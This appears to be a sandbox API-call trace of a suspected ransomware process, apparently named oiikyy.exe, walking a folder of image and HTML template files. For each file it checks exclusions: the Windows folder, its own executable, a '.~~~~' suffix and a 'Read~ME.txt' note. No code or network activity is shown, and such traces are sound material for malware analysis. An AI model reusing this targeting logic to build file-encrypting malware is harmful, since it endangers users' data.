	[0077.009] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="Windows") returned -1
	[0077.009] lstrcmpW (lpString1="Orange Circles.htm", lpString2="oiikyy.exe") returned 1
	[0077.009] StrStrW (lpFirst="Orange Circles.htm", lpSrch=".~~~~") returned 0x0
	[0077.009] lstrcmpW (lpString1="Orange Circles.htm", lpString2="Read~ME.txt") returned -1
	[0077.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0077.009] GetCurrentThreadId () returned 0x618
	[0077.009] RtlWakeConditionVariable () returned 0x365f48
	[0077.009] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1
	[0077.009] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="Windows") returned -1
	[0077.009] lstrcmpW (lpString1="OrangeCircles.jpg", lpString2="oiikyy.exe") returned 1
	[0077.009] StrStrW (lpFirst="OrangeCircles.jpg", lpSrch=".~~~~") returned 0x0
	[0077.009] lstrcmpW (lpString1="OrangeCircles.jpg", lpString2="Read~ME.txt") returned -1
	[0077.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.009] GetCurrentThreadId () returned 0x618
	[0077.009] RtlWakeConditionVariable () returned 0x365f48
	[0077.009] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1
	[0077.009] lstrcmpiW (lpString1="Peacock.htm", lpString2="Windows") returned -1
	[0077.009] lstrcmpW (lpString1="Peacock.htm", lpString2="oiikyy.exe") returned 1
	[0077.009] StrStrW (lpFirst="Peacock.htm", lpSrch=".~~~~") returned 0x0
	[0077.009] lstrcmpW (lpString1="Peacock.htm", lpString2="Read~ME.txt") returned -1
	[0077.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.009] GetCurrentThreadId () returned 0x618
	[0077.009] RtlWakeConditionVariable () returned 0x365f48
	[0077.009] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1
	[0077.009] lstrcmpiW (lpString1="Peacock.jpg", lpString2="Windows") returned -1
	[0077.010] lstrcmpW (lpString1="Peacock.jpg", lpString2="oiikyy.exe") returned 1
	[0077.010] StrStrW (lpFirst="Peacock.jpg", lpSrch=".~~~~") returned 0x0
	[0077.010] lstrcmpW (lpString1="Peacock.jpg", lpString2="Read~ME.txt") returned -1
	[0077.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.010] GetCurrentThreadId () returned 0x618
	[0077.010] RtlWakeConditionVariable () returned 0x365f48
	[0077.010] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1
	[0077.010] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2="Windows") returned -1
	[0077.010] lstrcmpW (lpString1="Pine_Lumber.jpg", lpString2="oiikyy.exe") returned 1
	[0077.010] StrStrW (lpFirst="Pine_Lumber.jpg", lpSrch=".~~~~") returned 0x0
	[0077.010] lstrcmpW (lpString1="Pine_Lumber.jpg", lpString2="Read~ME.txt") returned -1
	[0077.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.010] GetCurrentThreadId () returned 0x618
	[0077.010] RtlWakeConditionVariable () returned 0x365f48
	[0077.010] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1
	[0077.010] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2="Windows") returned -1
	[0077.010] lstrcmpW (lpString1="Pretty_Peacock.jpg", lpString2="oiikyy.exe") returned 1
	[0077.010] StrStrW (lpFirst="Pretty_Peacock.jpg", lpSrch=".~~~~") returned 0x0
	[0077.010] lstrcmpW (lpString1="Pretty_Peacock.jpg", lpString2="Read~ME.txt") returned -1
	[0077.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0077.010] GetCurrentThreadId () returned 0x618
	[0077.010] RtlWakeConditionVariable () returned 0x365f48
	[0077.010] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1
	[0077.010] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2="Windows") returned -1
	[0077.010] lstrcmpW (lpString1="Psychedelic.jpg", lpString2="oiikyy.exe") returned 1
	[0077.011] StrStrW (lpFirst="Psychedelic.jpg", lpSrch=".~~~~") returned 0x0
	[0077.011] lstrcmpW (lpString1="Psychedelic.jpg", lpString2="Read~ME.txt") returned -1
	[0077.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.011] GetCurrentThreadId () returned 0x618
	[0077.011] RtlWakeConditionVariable () returned 0x365f48
	[0077.011] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1
	[0077.011] lstrcmpiW (lpString1="Roses.htm", lpString2="Windows") returned -1
	[0077.011] lstrcmpW (lpString1="Roses.htm", lpString2="oiikyy.exe") returned 1
	[0077.011] StrStrW (lpFirst="Roses.htm", lpSrch=".~~~~") returned 0x0
	[0077.011] lstrcmpW (lpString1="Roses.htm", lpString2="Read~ME.txt") returned 1
	[0077.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0077.011] GetCurrentThreadId () returned 0x618
	[0077.011] RtlWakeConditionVariable () returned 0x365f48
	[0077.011] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1
	[0077.011] lstrcmpiW (lpString1="Roses.jpg", lpString2="Windows") returned -1
	[0077.011] lstrcmpW (lpString1="Roses.jpg", lpString2="oiikyy.exe") returned 1
	[0077.011] StrStrW (lpFirst="Roses.jpg", lpSrch=".~~~~") returned 0x0
	[0077.011] lstrcmpW (lpString1="Roses.jpg", lpString2="Read~ME.txt") returned 1
	[0077.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0077.011] GetCurrentThreadId () returned 0x618
	[0077.011] RtlWakeConditionVariable () returned 0x365f48
	[0077.011] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1
	[0077.011] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="Windows") returned -1
	[0077.011] lstrcmpW (lpString1="Sand_Paper.jpg", lpString2="oiikyy.exe") returned 1
	[0077.011] StrStrW (lpFirst="Sand_Paper.jpg", lpSrch=".~~~~") returned 0x0
	[0077.011] lstrcmpW (lpString1="Sand_Paper.jpg", lpString2="Read~ME.txt") returned 1
	[0077.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.012] GetCurrentThreadId () returned 0x618
	[0077.012] RtlWakeConditionVariable () returned 0x365f48
	[0077.012] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.emf", cAlternateFileName="")) returned 1
	[0077.012] lstrcmpiW (lpString1="Seyes.emf", lpString2="Windows") returned -1
	[0077.012] lstrcmpW (lpString1="Seyes.emf", lpString2="oiikyy.exe") returned 1
	[0077.012] StrStrW (lpFirst="Seyes.emf", lpSrch=".~~~~") returned 0x0
	[0077.012] lstrcmpW (lpString1="Seyes.emf", lpString2="Read~ME.txt") returned 1
	[0077.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0077.012] GetCurrentThreadId () returned 0x618
	[0077.012] RtlWakeConditionVariable () returned 0x365f48
	[0077.012] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1
	[0077.012] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="Windows") returned -1
	[0077.012] lstrcmpW (lpString1="Shades of Blue.htm", lpString2="oiikyy.exe") returned 1
	[0077.012] StrStrW (lpFirst="Shades of Blue.htm", lpSrch=".~~~~") returned 0x0
	[0077.012] lstrcmpW (lpString1="Shades of Blue.htm", lpString2="Read~ME.txt") returned 1
	[0077.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0077.012] GetCurrentThreadId () returned 0x618
	[0077.012] RtlWakeConditionVariable () returned 0x365f48
	[0077.012] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1
	[0077.012] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="Windows") returned -1
	[0077.012] lstrcmpW (lpString1="ShadesOfBlue.jpg", lpString2="oiikyy.exe") returned 1
	[0077.012] StrStrW (lpFirst="ShadesOfBlue.jpg", lpSrch=".~~~~") returned 0x0
	[0077.012] lstrcmpW (lpString1="ShadesOfBlue.jpg", lpString2="Read~ME.txt") returned 1
	[0077.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.012] GetCurrentThreadId () returned 0x618
	[0077.013] RtlWakeConditionVariable () returned 0x365f48
	[0077.013] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1
	[0077.013] lstrcmpiW (lpString1="Shorthand.emf", lpString2="Windows") returned -1
	[0077.013] lstrcmpW (lpString1="Shorthand.emf", lpString2="oiikyy.exe") returned 1
	[0077.013] StrStrW (lpFirst="Shorthand.emf", lpSrch=".~~~~") returned 0x0
	[0077.013] lstrcmpW (lpString1="Shorthand.emf", lpString2="Read~ME.txt") returned 1
	[0077.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.013] GetCurrentThreadId () returned 0x618
	[0077.013] RtlWakeConditionVariable () returned 0x365f48
	[0077.013] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1
	[0077.013] lstrcmpiW (lpString1="Small_News.jpg", lpString2="Windows") returned -1
	[0077.013] lstrcmpW (lpString1="Small_News.jpg", lpString2="oiikyy.exe") returned 1
	[0077.013] StrStrW (lpFirst="Small_News.jpg", lpSrch=".~~~~") returned 0x0
	[0077.013] lstrcmpW (lpString1="Small_News.jpg", lpString2="Read~ME.txt") returned 1
	[0077.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.013] GetCurrentThreadId () returned 0x618
	[0077.013] RtlWakeConditionVariable () returned 0x365f48
	[0077.013] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1
	[0077.013] lstrcmpiW (lpString1="Soft Blue.htm", lpString2="Windows") returned -1
	[0077.013] lstrcmpW (lpString1="Soft Blue.htm", lpString2="oiikyy.exe") returned 1
	[0077.013] StrStrW (lpFirst="Soft Blue.htm", lpSrch=".~~~~") returned 0x0
	[0077.013] lstrcmpW (lpString1="Soft Blue.htm", lpString2="Read~ME.txt") returned 1
	[0077.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.013] GetCurrentThreadId () returned 0x618
	[0077.013] RtlWakeConditionVariable () returned 0x365f48
	[0077.013] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1
	[0077.013] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="Windows") returned -1
	[0077.013] lstrcmpW (lpString1="SoftBlue.jpg", lpString2="oiikyy.exe") returned 1
	[0077.013] StrStrW (lpFirst="SoftBlue.jpg", lpSrch=".~~~~") returned 0x0
	[0077.014] lstrcmpW (lpString1="SoftBlue.jpg", lpString2="Read~ME.txt") returned 1
	[0077.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.014] GetCurrentThreadId () returned 0x618
	[0077.014] RtlWakeConditionVariable () returned 0x365f48
	[0077.014] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1
	[0077.014] lstrcmpiW (lpString1="Stars.htm", lpString2="Windows") returned -1
	[0077.014] lstrcmpW (lpString1="Stars.htm", lpString2="oiikyy.exe") returned 1
	[0077.014] StrStrW (lpFirst="Stars.htm", lpSrch=".~~~~") returned 0x0
	[0077.014] lstrcmpW (lpString1="Stars.htm", lpString2="Read~ME.txt") returned 1
	[0077.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0077.014] GetCurrentThreadId () returned 0x618
	[0077.014] RtlWakeConditionVariable () returned 0x365f48
	[0077.014] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1
	[0077.014] lstrcmpiW (lpString1="Stars.jpg", lpString2="Windows") returned -1
	[0077.014] lstrcmpW (lpString1="Stars.jpg", lpString2="oiikyy.exe") returned 1
	[0077.014] StrStrW (lpFirst="Stars.jpg", lpSrch=".~~~~") returned 0x0
	[0077.014] lstrcmpW (lpString1="Stars.jpg", lpString2="Read~ME.txt") returned 1
	[0077.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0077.014] GetCurrentThreadId () returned 0x618
	[0077.014] RtlWakeConditionVariable () returned 0x365f48
	[0077.014] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stucco.gif", cAlternateFileName="")) returned 1
	[0077.014] lstrcmpiW (lpString1="Stucco.gif", lpString2="Windows") returned -1
	[0077.014] lstrcmpW (lpString1="Stucco.gif", lpString2="oiikyy.exe") returned 1
	[0077.014] StrStrW (lpFirst="Stucco.gif", lpSrch=".~~~~") returned 0x0
	[0077.014] lstrcmpW (lpString1="Stucco.gif", lpString2="Read~ME.txt") returned 1
	[0077.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.014] GetCurrentThreadId () returned 0x618
	[0077.015] RtlWakeConditionVariable () returned 0x365f48
	[0077.015] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1
	[0077.015] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="Windows") returned -1
	[0077.015] lstrcmpW (lpString1="Tanspecks.jpg", lpString2="oiikyy.exe") returned 1
	[0077.015] StrStrW (lpFirst="Tanspecks.jpg", lpSrch=".~~~~") returned 0x0
	[0077.015] lstrcmpW (lpString1="Tanspecks.jpg", lpString2="Read~ME.txt") returned 1
	[0077.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.015] GetCurrentThreadId () returned 0x618
	[0077.015] RtlWakeConditionVariable () returned 0x365f48
	[0077.015] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tiki.gif", cAlternateFileName="")) returned 1
	[0077.015] lstrcmpiW (lpString1="Tiki.gif", lpString2="Windows") returned -1
	[0077.015] lstrcmpW (lpString1="Tiki.gif", lpString2="oiikyy.exe") returned 1
	[0077.015] StrStrW (lpFirst="Tiki.gif", lpSrch=".~~~~") returned 0x0
	[0077.015] lstrcmpW (lpString1="Tiki.gif", lpString2="Read~ME.txt") returned 1
	[0077.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0077.015] GetCurrentThreadId () returned 0x618
	[0077.015] RtlWakeConditionVariable () returned 0x365f48
	[0077.015] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1
	[0077.015] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="Windows") returned -1
	[0077.015] lstrcmpW (lpString1="To_Do_List.emf", lpString2="oiikyy.exe") returned 1
	[0077.015] StrStrW (lpFirst="To_Do_List.emf", lpSrch=".~~~~") returned 0x0
	[0077.015] lstrcmpW (lpString1="To_Do_List.emf", lpString2="Read~ME.txt") returned 1
	[0077.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0077.015] GetCurrentThreadId () returned 0x618
	[0077.016] RtlWakeConditionVariable () returned 0x365f48
	[0077.016] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1
	[0077.016] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="Windows") returned -1
	[0077.016] lstrcmpW (lpString1="White_Chocolate.jpg", lpString2="oiikyy.exe") returned 1
	[0077.016] StrStrW (lpFirst="White_Chocolate.jpg", lpSrch=".~~~~") returned 0x0
	[0077.016] lstrcmpW (lpString1="White_Chocolate.jpg", lpString2="Read~ME.txt") returned 1
	[0077.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0077.016] GetCurrentThreadId () returned 0x618
	[0077.016] RtlWakeConditionVariable () returned 0x365f48
	[0077.016] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1
	[0077.016] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="Windows") returned 1
	[0077.016] lstrcmpW (lpString1="Wrinkled_Paper.gif", lpString2="oiikyy.exe") returned 1
	[0077.016] StrStrW (lpFirst="Wrinkled_Paper.gif", lpSrch=".~~~~") returned 0x0
	[0077.016] lstrcmpW (lpString1="Wrinkled_Paper.gif", lpString2="Read~ME.txt") returned 1
